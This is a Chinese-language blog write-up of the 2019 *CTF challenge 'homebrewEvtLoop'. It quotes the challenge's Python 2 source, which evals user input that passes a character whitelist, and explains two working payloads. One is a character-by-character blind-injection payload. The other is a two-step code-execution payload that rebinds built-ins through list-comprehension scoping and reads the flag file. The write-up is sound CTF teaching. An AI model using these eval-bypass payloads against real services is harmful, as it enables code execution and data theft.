2019*CTF之homebrewEvtLoop

这道题中留了两个flag,分别可用盲注和直接RCE读取的方式获得,挺有意思的,记录一下。

题目

首先代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#!/usr/bin/python
# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'

import sys
import hashlib
import random

# private ------------------------------------------------------------
def flag():
# flag of stage 1
return '*ctf{JtWCBuYlVN75pb]y8zhJem9GAH1YsUqgMEvQn_P2wd0IDRTaHjZ3i6SQXrxKkL4[FfocO}'

def flag2():
ret = ''
# flag of stage 2
# ret = open('flag', 'rb').read() # No more flag for you hackers in stage2!
return ret

def switch_safe_mode_factory():
ctx = {'io_pair': [None, None]}
def __wrapper(): (ctx['io_pair'], (sys.stdin, sys.stderr)) = ([sys.stdin, sys.stderr], ctx['io_pair'])
return __wrapper

def PoW():
#return
while True:
a = (''.join([chr(random.randint(0, 0xff)) for _ in xrange(2)])).encode('hex')
print 'hashlib.sha1(input).hexdigest() == "%s"' % a
print '>',
input = raw_input()
if hashlib.sha1(input).hexdigest()[:4] == a:
break
print 'invalid PoW, please retry'

# protected ----------------------------------------------------------
def fib(a):
if a <= 1: return 1
return fib(a-1)+fib(a-2)

# public -------------------------------------------------------------
def load_flag_handler(args):
global session
session['log'] = flag2()
return 'done'

def ping_handler(args):
return 'pong'

def fib_handler(args):
a = int(args[0])
if a > 5 or a < 0: return 'out of range'
return str(fib(a))

if __name__ == '__main__':
session = {}
session['log'] = flag()
switch_safe_mode = switch_safe_mode_factory()
switch_safe_mode_factory = None
valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789[]')

while True:
PoW()
print '$',
event = raw_input() # get eventName and args from the RPC requests, like: funcName114514arg1114514args2114514arg3 ...
switch_safe_mode()
if event == 'exit': break

for c in event:
if c not in valid_event_chars:
print "invalid request"
exit(-1)

event, args = event.split('114514')
args = args.split('114514')

try:
handler = eval(event)
print handler(args)
#except Exception, e:
# print 'exception:', str(e)
except:
print 'exception'

程序将用户输入的数据通过114514来切割,分别作为函数名和参数。然后函数名会用eval处理,不过函数名还会经过valid_event_chars字符白名单验证,需要绕过。

盲注

盲注payload如下:

1
2
3
4
session[args[0]][5]in[event[49]][0]and[dir][0]or[abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789]114514log

# 把这个payload分成三个部分
# flag字符拆解 and dir or 字符集

session[args[0]][5] 中的5其实是flag字符的下标,而event[49]中的49对应的是整个payload中字符的下标,即用于拆解的字符集中的a字符。

1
2
3
4
5
6
7
# flag字符拆解 and dir or 字符集

如果flag字符拆解结果为True:
flag字符拆解 and dir or 字符集 => True and dir or 字符集 => dir => dir(字符串)

如果flag字符拆解结果为False:
flag字符拆解 and dir or 字符集 => False and dir or 字符集 => 字符集 => 字符集(字符串)

程序之后又将这个eval的返回结果作为函数名调用对应函数,根据这两种不同的返回结果,我们就可以进行逐位盲注。1

RCE

再来看看RCE的payload:

1
2
3
4
5
# 第一次输入
[[str]for[PoW]in[[switch_safe_mode]]for[raw_input]in[[input]]][0][0]114514

# 第二次输入
['[[str]for[args]in[[session]]][0][0]114514' for session in [open('flag','rb').read()]][0]

第一次输入的payload可以拆解如下:

1
2
3
4
5
6
7
8
[[str]for[PoW]in[[switch_safe_mode]]for[raw_input]in[[input]]]
# 类似于
l = []
for [PoW] in [[switch_safe_mode]] :
PoW = switch_safe_mode
for [raw_input] in [[input]] :
raw_input = input
l.append([str])

这段payload做的最重要的就是变量覆盖,修改函数原有的功能。这里使Pow变成了switch_safe_mode,而raw_input变成了input。然后在下一次循环的时候,Pow函数就不会再要我们输入字符串校验。

2

这里之所以把raw_input变成了input,是因为题目环境为python2.x,而Python2.x中input函数定义如下:

1
2
Python2.x 中 input() 相等于 eval(raw_input(prompt)) ,用来获取控制台的输入。
Python3.x 中 input() 函数接受一个标准输入数据,返回为 string 类型。

这样就相当于下次输入的字符串会执行两次eval,我们再来看第二次输入的payload:

1
2
# 第二次输入
['[[str]for[args]in[[session]]][0][0]114514' for session in [open('flag','rb').read()]][0]

这个payload经过input函数后,实际上就是把前一半[[str]for[args]in[[session]]][0][0]114514的内容赋值给了event。但是它还做了一件很重要的问题,那就是把flag文件的内容赋值给了session变量。这里涉及到python变量作用范围问题,如下例子:

1
2
3
4
>>> i = 233
>>> l = [i for i in range(1,10)]
>>> i
9

列表生成式中的变量会影响列表以外的变量,之后获得flag的过程就如下:

1
2
3
4
5
event = raw_input() # event: '[[str]for[args]in[[session]]][0][0]114514'; session: flag内容
event, args = event.split('114514') # event:
args = args.split('114514')
handler = eval(event) # event: str; args: flag内容
print handler(args) # str(flag内容)

参考

https://github.com/sixstars/starctf2019/tree/master/misc-homebrewEvtLoop

文章作者: Mochazz
文章链接: https://mochazz.github.io/2019/04/30/2019星CTF之homebrewEvtLoop/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Mochazz's blog